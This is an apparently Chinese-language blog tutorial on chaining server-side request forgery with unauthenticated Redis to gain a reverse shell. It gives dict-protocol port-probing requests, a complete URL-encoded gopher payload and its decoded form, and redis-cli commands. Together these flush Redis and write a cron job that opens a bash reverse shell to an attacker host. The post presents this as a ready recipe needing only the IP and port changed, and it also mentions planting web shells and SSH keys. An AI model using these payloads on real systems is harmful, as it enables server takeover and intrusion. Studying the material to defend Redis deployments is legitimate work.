SSRF結合Redis未授權的打法

Mysticbinary發表於2024-07-14

目錄
  • SSRF + Redis未授權 案例
  • 怎麼構造 redis 資料包?
  • Reference


SSRF不難理解,伺服器端請求偽造(英語:Server-side Request Forgery,簡稱SSRF)是攻擊者濫用伺服器功能來訪問或操作無法被直接訪問的資訊的方式之一。

伺服器端請求偽造攻擊將域中的不安全伺服器作為代理使用,這與利用網頁客戶端的跨站請求偽造攻擊類似(如處在域中的瀏覽器可作為攻擊者的代理)。

SSRF + Redis未授權 案例

SSRF漏洞結合Redis未授權漏洞,怎麼利用?

SSRF漏洞可以:

  • 利用可以訪問內網的主機當成代理;

Redis未授權訪問漏洞,可以利用該漏洞實現:

  • 資訊洩露、資料刪除;
  • 寫入SSH公鑰,SSH遠端登入;
  • 反彈Shell
    • Dict協議 —— 2628埠
    • gopher協議 —— 70埠
    • file協議 —— 不涉及網路埠
    • 構造Redis資料包,透過寫入Linux 計劃任務
    • 構造Redis資料包,利用Redis的資料備份功能,將web shell寫入目標伺服器(centos)的網站根目錄下,然後用菜刀連線獲取shell。
  • ...

結合起來就是:
透過代理向內網機器傳送請求,收到請求的內網機器,因為機器自身存在未授權Redis漏洞,可以反彈Shell出去。

流程如下:

  • 找到SSRF
  • 找6379埠的過程
  • 驗證是否存在SSRF
  • 傳送Web攻擊荷載

流程圖:
image

條件:
當在外部站點發現SSRF漏洞時,嘗試用代理找內網的Redis服務(找預設的6379埠),看看是否存在Redis未授權漏洞,如果存在,就可以嘗試獲取反彈Shell。

找6379埠的過程:
基於dict協議的利用
GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1

只需要遍歷&XXXX& 從 0-65535 即可。
可能6379埠會修改成別的埠,但可以透過一些響應包內的特徵確認:

image

驗證是否存在SSRF的方式之一:
GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1

傳送redis資料包:
這裡利用gopher協議,所以需要確認一下70埠是否開放。

http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

解碼:

gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在解碼:

gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59


*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

只需要修改 192.168.40.10/4444 ,在攻擊者機器監聽4444埠,就可以得到shell了。

思考:

  1. 本次實驗只是針對基於SSRF漏洞的gopher協議攻擊,但是在真實環境中,SSRF內的內網主機或者伺服器有可能是不出網,這時候怎麼反彈shell ?

  2. 如果目標 Redis 伺服器存在身份驗證,公網記憶體在VPS怎麼反彈?如果沒有root許可權怎麼實現計劃任務?

怎麼構造 redis 資料包?

背景知識:
gopher協議是一個古老且強大的協議,可以理解為是http協議的前身,他可以實現多個資料包整合傳送。

在利用gopher協議進行攻擊時,我們首先要知道gopher協議的流的怎麼樣的,所以現在需要構造一個正常請求,在攻擊機上啟用監聽,使用流量轉發工具socat,抓取tcp流量,然後將其流量轉換為gopher格式,生成gopher流的攻擊樣本,為下面是構造一個gopher流的過程:

  1. 開啟socat流量工具,記錄攻擊流量

  2. 現找一臺類似環境的Redis伺服器,在系統中執行如下命令:

      Redis攻擊程式碼:
      redis-cli -h 127.0.0.1 flushall  #清除快取
      echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1  #反彈shell,由於在kali機上開啟了監聽,所以可以將本地的流量轉發至這裡,每隔1分鐘往kali彈shell
    
      redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #設定工作目錄,這裡指的是計劃任務
      redis-cli -h 127.0.0.1 config set dbfilename root #設定儲存檔名字,也就是將計劃任務寫入到目標的檔案
      redis-cli -h 127.0.0.1 save  #儲存
    
  3. 將如上的流量寫入到1.txt,在將1.txt的TCP流形式轉換為gopher流格式:

    *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
    

Reference

SSRF之利用dict和gopher吊打Redis
https://www.cnblogs.com/CoLo/p/14214208.html

SSRF——手把手教你Redis反彈Shell
https://blog.csdn.net/sudu2020dd/article/details/130998763

相關文章